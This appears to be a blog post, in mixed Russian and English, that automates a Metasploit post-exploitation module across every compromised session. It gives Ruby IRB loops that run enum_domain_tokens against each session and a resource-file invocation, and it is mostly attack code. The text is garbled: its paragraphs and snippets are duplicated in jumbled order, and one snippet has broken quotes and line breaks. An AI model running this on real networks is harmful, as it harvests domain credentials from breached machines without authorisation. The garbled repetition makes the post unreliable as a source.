Если мы проникли сразу на несколько машин, чтобы не писать
команды в каждой из полученных сессий, мы можем воспользоваться
радостями доступа к Ruby прямо из консоли MSF, запустив постмодуль сразу
во всех сессиях:
Код получился тяжеловатым, но мы можем вписать его в rc-файл и при необходимости запускать с помощью следующих команд:
You use the POST module, drop to IRB and run those 4 lines, and bam, you win. With resource files we can automate this a bit more and have it so that we do this effortlessly with any post module.
A commenter noticed an error in the coding for cross compatibility. The following should work better across versions:
msf> use post/windows/gather/enum_domain_tokens
msf enum_domain_tokens> irb
framework.sessions.each_key do |session|
run_single(«set SESSION #{session}»)
print_status(«Running #{active_module.fullname}
against #{session}»)
run_single(«run»)
sleep 1
end
Код получился тяжеловатым, но мы можем вписать его в rc-файл и при необходимости запускать с помощью следующих команд:
msf> use post/windows/gather/enum_domain_tokens msf enum_domain_tokens> resource runall.rc
You use the POST module, drop to IRB and run those 4 lines, and bam, you win. With resource files we can automate this a bit more and have it so that we do this effortlessly with any post module.
framework.sessions.each do |session|
run_single("set SESSION #{session.first}")
print_status("Running #{active_module.fullname} against session #{session.first}")
run_single("run")
sleep 1
end
A commenter noticed an error in the coding for cross compatibility. The following should work better across versions:
framework.sessions.each_key do |session|
run_single("set SESSION #{session}")
print_status("Running #{active_module.fullname} against session #{session}")
run_single("run")
sleep 1
end
Комментариев нет:
Отправить комментарий